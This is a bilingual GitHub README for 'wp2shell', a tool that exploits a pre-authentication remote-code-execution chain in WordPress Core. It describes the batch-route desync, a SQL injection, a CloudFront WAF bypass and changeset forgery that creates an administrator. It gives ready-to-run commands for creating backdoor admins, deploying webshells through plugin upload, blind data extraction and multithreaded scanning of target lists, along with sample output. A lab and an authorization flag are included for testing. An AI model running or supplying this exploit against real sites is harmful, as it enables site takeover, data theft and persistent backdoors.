wp2shell

July 19, 2026 · View on GitHub

中文概要 | English README ↓

预认证 WordPress Core REST API 远程代码执行漏洞利用工具(CVE-2026-63030 + CVE-2026-60137,CVSS 9.8)。由 Adam Kues(Assetnote / Searchlight Cyber)发现,SQLi 同时致谢 TF1T、dtro、haongo。

  • 完整 RCE 链:WordPress 6.9.0–6.9.4 和 7.0.0–7.0.1
  • 仅 SQLi 接收器(需 facilitating 插件/主题):6.8.0–6.8.5
  • 已修复:6.8.6 / 6.9.5 / 7.0.2

本工具 Fork 自 ThomasNJordan/wp2shell(原始 PoC,作者 Thomas Jordan / st4ndard),融合了以下社区技术进行了大量增强:

  • Changeset 伪造管理员创建(默认):通过 UNION SELECT 伪造 Customizer changeset 对象,利用 WordPress 对象缓存 + changeset 提权机制,不依赖 stacked queries 或 FILE 权限即可直接创建管理员账户(技术来源:vulhub / sergiointel)
  • 内容型布尔盲注(默认):基于 HTTP 响应主体帖子数量做确定性 True/False 判定,无需 SLEEP 延迟,本地 10 秒内完成 34 字符 hash 提取
  • 版本自动检测:REST API → HTML meta → Feed 三级指纹,自动区分 full_chain / sqli_only / patched
  • 批量扫描-f hosts.txt + -t 10 多线程并发
  • 取证证据--proof 提取 @@version + current_user()
  • 远程安全守卫--authorized 强制远程授权确认
  • 重定向安全:301/302 保持 POST body,cdn/waf 环境下更可靠
  • 多路径降级兜底:Changeset 管理员创建 → UNION OUTFILE → stacked INSERT → legacy OUTFILE → 布尔盲注提取 hash
  • SLEEP 时序盲注保留--time-based 作为降级选项
  • Docker 测试环境${WP_TAG} 参数化,一键切换漏洞/修复版本

wp2shell

Pre-authentication RCE exploit for WordPress Core REST API (CVE-2026-63030 + CVE-2026-60137 | CVSS 9.8).

                 ____      _          _ _
 __      ___ __ |___ \ ___| |__   ___| | |
 \ \ /\ / / '_ \  __) / __| '_ \ / _ \ | |
  \ V  V /| |_) |/ __/\__ \ | | |  __/ | |
   \_/\_/ | .__/|_____|___/_| |_|\___|_|_|
          |_|   CVE-2026-63030

Overview

HTTP/HTTPS wp2shell PoC with advanced capabilities for impact demonstration on improperly configured WordPress sites. Forked from ThomasNJordan/wp2shell (original PoC by Thomas Jordan / st4ndard), significantly enhanced with techniques from vulhub/vulhub, 0xsha/wp2shell, and dinosn/wp2shell-lab.

Affected versions:

ClassificationVersionsDescription
Full RCE chain6.9.0–6.9.4, 7.0.0–7.0.1CVE-2026-63030 (batch confusion) + CVE-2026-60137 (SQLi)
SQLi sink only6.8.0–6.8.5CVE-2026-60137 present, needs facilitating plugin/theme
Fixed6.8.6 / 6.9.5 / 7.0.2Patched

Discovered by Adam Kues (Assetnote / Searchlight Cyber); SQLi also credited to TF1T, dtro, haongo.

Exploit chain:

  1. Batch-route desync via $validation/$matches index misalignment
  2. Re-entrancy through nested batch dispatch (no is_dispatching() guard)
  3. SQL injection via unsanitized author__not_in string bypass in WP_Query
  4. Optional CloudFront WAF bypass using GET + _method=POST with PHP array params

Key Enhancements

Changeset-Forging Admin Creation (Default)

Creates a new administrator account without stacked queries or FILE privilege — the only admin-creation technique that works on default WordPress configurations. Leverages WordPress's Customizer changeset workflow:

  1. Seeds 3 real oembed_cache posts via UNION SELECT + [embed] shortcode
  2. Blind-extracts cache post IDs, table prefix, and existing admin user ID
  3. UNION SELECT returns 7 forged wp_posts rows reusing the cache post IDs, including a forged customize_changeset whose nav_menu_item settings carry the existing admin's user_id
  4. WordPress caches forged rows as WP_Post objects; changeset publish calls wp_set_current_user(admin_id), temporarily elevating privileges
  5. POST /wp/v2/users sub-requests in the same batch bypass current_user_can('create_users') — new admin created

Credit: vulhub / sergiointel.

Content-Based Boolean Oracle (Default)

Uses response body post count as a deterministic True/False oracle — no SLEEP required. Extracts a 34-character bcrypt hash in ~10 seconds locally, vs minutes-to-hours for timing-based approaches.

Phase 2: "Confirming SQL injection via nested batch (content-based)..."
Phase 2: "Content oracle verified: 1=1→True, 1=0→False"

Automatic Version Detection

Three-tier fingerprinting (REST API → HTML meta → Feed), classifies targets as full_chain, sqli_only, or patched before exploitation:

[+] WordPress version: 6.9.4 — VULNERABLE (full RCE chain)
[!] WordPress version: 6.8.3 — SQLi present but batch confusion NOT reachable
[-] WordPress version: 6.9.5 — patched or out of range

Multi-Path RCE Fallback Chain

Phase 3a: UNION SELECT INTO OUTFILE           (fastest — needs MySQL FILE privilege)
Phase 3b: Changeset-forging admin creation    (default — works everywhere, ~2 min)
  └─ fallback: stacked INSERT admin          (needs multi_query, rare)
Phase 3c: legacy subquery OUTFILE             (needs FILE priv + secure_file_priv)
Phase 3d: blind extraction → hash crack       (slow but universal fallback)

Batch Scanning

python3 wp2shell.py -f targets.txt --check
python3 wp2shell.py -f targets.txt --check --json --proof -t 20

Forensic Evidence (--proof)

Reads @@version and current_user() from the database as read-only proof:

python3 wp2shell.py http://target --extract "dummy" --proof
# [+] @@version: 8.0.45
# [+] current_user(): wpuser@%

Usage

python wp2shell.py <target> <mode> [options]
python wp2shell.py -f hosts.txt --check [options]    # batch scan

Modes

FlagDescription
--checkNon-destructive vulnerability probe only
--exploitFull pre-auth RCE chain
--create-admin-onlyCreate admin via changeset forgery and exit (no RCE)
--shellDeploy shell with known admin creds
--cleanupRemove deployed webshell
--extract SQLExtract data via blind SQLi

Options

FlagDescriptionDefault
--proxy PROXYHTTP proxy (e.g. http://127.0.0.1:8080)None
--timeout TIMEOUTHTTP timeout in seconds30
--table-prefix PREFIXWordPress table prefixwp_
--webroot PATHServer webroot for OUTFILE/var/www/html
--shell-key KEYWebshell auth keyRandom
--admin-user USERAdmin username (for --exploit/--create-admin-only/--shell/--cleanup)Random
--admin-pass PASSAdmin password (for --exploit/--create-admin-only/--shell/--cleanup)Random
--skip-outfileSkip SELECT INTO OUTFILE attemptOff
--no-union-outfileSkip UNION SELECT INTO OUTFILE attemptOff
--no-create-adminSkip admin creation (changeset + stacked INSERT)Off
--sleep DURATIONSLEEP duration for blind SQLi0.15
--time-basedUse SLEEP-based timing oracle (fallback)Off
--skip-version-checkSkip version detection (use when fingerprint fails)Off
-f, --file FILEFile with one target URL per line (# comments ok)None
-t, --threads NConcurrent workers for batch scan10
--authorizedAssert authorization for remote targetsOff
--jsonEmit JSON output (for batch scan)Off
--proofRead @@version + current_user() as evidenceOff
-v, --verboseVerbose outputOff

Examples

# Check if target is vulnerable (non-destructive)
python wp2shell.py https://target.com --check

# Full exploit chain (changeset admin creation → webshell → RCE)
python wp2shell.py https://target.com --exploit -v

# Create admin account only, no RCE (verify with blind SQLi)
python wp2shell.py https://target.com --create-admin-only

# Create admin with custom credentials
python wp2shell.py https://target.com --create-admin-only \
    --admin-user backdoor --admin-pass 'Str0ng!P@ss'

# Full exploit with SLEEP timing fallback (slower, no posts needed)
python wp2shell.py https://target.com --exploit --time-based --sleep 3

# Skip admin creation, go straight to hash extraction
python wp2shell.py https://target.com --exploit --no-create-admin

# Extract arbitrary data via blind SQLi
python wp2shell.py https://target.com --extract "SELECT user_login FROM wp_users LIMIT 1"

# Read-only forensic evidence
python wp2shell.py https://target.com --extract "dummy" --proof

# Deploy shell with known admin creds
python wp2shell.py https://target.com --shell --admin-user admin --admin-pass password123

# Cleanup deployed webshell
python wp2shell.py https://target.com --cleanup --admin-user admin --admin-pass password123 --shell-key <key>

# Batch scan (non-destructive detection)
python wp2shell.py -f targets.txt --check

# Batch scan with JSON output + forensic evidence
python wp2shell.py -f targets.txt --check --json --proof -t 20

# Remote targets require --authorized
python wp2shell.py https://example.com --check --authorized

# Skip version check when fingerprinting fails
python wp2shell.py https://target.com --exploit --skip-version-check

Requirements

  • Python 3.8+
  • requests
pip install requests

Lab Environment

A reproducible Docker lab ships with the tool. The compose file is parameterised so you can validate both vulnerable and patched versions with a single command.

File Structure

lab/
├── docker-compose.yml    ← ${WP_TAG} parameterised (default: 6.9.4)
├── Makefile              ← one-command lab lifecycle
└── mysql-init.sql        ← GRANT FILE (only needed for OUTFILE testing)

The lab models a normal/managed host by default — the DB user has ALL ON wordpress.* without global FILE privilege, exactly matching production WordPress deployments. The optional mysql-init.sql adds FILE for UNION SELECT INTO OUTFILE testing.

Quick Start

make up          # WordPress 6.9.4 (vulnerable) + MySQL 8.0, port 8889
make check       # non-destructive probe against the lab
make exploit     # full RCE chain
make proof       # forensic evidence extraction (@@version + current_user)
make patched     # tear down, rebuild on WP 7.0.2, re-check
make down        # tear down (removes volumes)

# Custom versions — switch with env vars
WP_TAG=6.9.4 make up      # vulnerable (default)
WP_TAG=7.0.2 make up      # patched
WP_TAG=6.8.3 make up      # SQLi-only branch
WP_PORT=8093 make up      # custom port

Default credentials: admin / Admin!2345 (one published post for content oracle).

FILE Privilege (OUTFILE Testing)

The mysql-init.sql grants FILE ON *.* TO 'wpuser'@'%' and the compose file mounts wp_data as a shared volume into the MySQL container. This lets you verify UNION SELECT INTO OUTFILE in a controlled environment. Remove or comment out the mysql-init.sql volume mount to revert to the default no-FILE configuration.

Verification Examples

All examples below were verified against the local Docker lab (WordPress 6.9.4, MySQL 8.0).

1. Version Detection + Non-Destructive Probe

$ python3 wp2shell.py http://127.0.0.1:8889 --check
  [+] WordPress version: 6.9.4 VULNERABLE (full RCE chain)
  [+] VULNERABLE - desync confirmed: categories received block-renderer handler

2. Changeset Admin Creation (No RCE)

$ python3 wp2shell.py http://127.0.0.1:8889 --create-admin-only
  [+] Content oracle verified: 1=1→True, 1=0→False
  [*] Seeding 3 oEmbed cache posts...
  [*] Extracting table prefix and admin user ID...
  [+] Posts table: wp_posts, admin ID: 1
  [*] Recovering oEmbed cache post IDs...
  [+] Cache post IDs: [5, 6, 7]
  [*] Publishing forged changeset creating administrator...
  [+] Administrator 'w2s_xxxxxx' created and verified!
  [+] === ADMIN CREATED ===
  [+] Username: w2s_xxxxxx
  [+] Password: <random>
  [+] Email:    w2s_xxxxxx@wp2shell.local

3. Full RCE Chain (Changeset Admin + Webshell)

Changeset creates admin (~2 min) → automatic login → plugin upload → webshell:

$ python3 wp2shell.py http://127.0.0.1:8889 --exploit -v
  [+] WordPress version: 6.9.4 VULNERABLE (full RCE chain)
  [+] Content oracle verified
  [+] Administrator 'wp_support_xxxxxx' created and verified!
  [+] Plugin uploaded
  [+] Webshell verified at http://127.0.0.1:8889/.../wp-health-monitor.php

4. Forensic Evidence Extraction

Read @@version and current_user() from the database as read-only proof that the SQL injection channel is active:

$ python3 wp2shell.py http://127.0.0.1:8889 --extract "dummy" --proof
  [+] @@version: 8.0.45
  [+] current_user(): wpuser@%

5. Deploy Webshell (Known Credentials)

$ python3 wp2shell.py http://127.0.0.1:8889 --shell \
    --admin-user admin --admin-pass 'Admin!2345' -v
  [+] Authenticated as admin
  [+] Plugin uploaded
  [+] Webshell verified at http://127.0.0.1:8889/wp-content/plugins/.../wp-health-monitor.php

6. Batch Scan

$ echo "http://127.0.0.1:8889" > targets.txt
$ python3 wp2shell.py -f targets.txt --check
  [VULNERABLE] http://127.0.0.1:8889  (WP 6.9.4, full_chain)
  summary: 1 scanned | vulnerable=1  affected=0  not_vuln=0  error=0

7. Remote Target Authorization Guard

$ python3 wp2shell.py https://example.com --check
  [-] Remote target requires --authorized.
  [!] Only test assets you own or are explicitly authorized.

8. Validate the Fix (Patched Version)

$ make patched
  WordPress 7.0.2 installed
$ python3 wp2shell.py http://127.0.0.1:8889 --check
  [-] WordPress version: 7.0.2 patched or out of range

Technique Comparison: Admin Creation

MethodTechniqueRequirementsSpeedDefault?
Changeset forgeryUNION SELECT → forged changeset → wp_set_current_user()POST /wp/v2/users≥1 published post~2 min
Hash extraction + crackBlind SQLi → bcrypt hash → hashcat → loginCrackable passwordhoursFallback
Stacked INSERTSELECT 1;INSERT INTO wp_users...mysqli_multi_query enabledsecondsFallback
UNION INTO OUTFILEUNION SELECT ... INTO OUTFILEMySQL FILE privilegesecondsFallback

Credits

License

MIT — for authorized security testing only.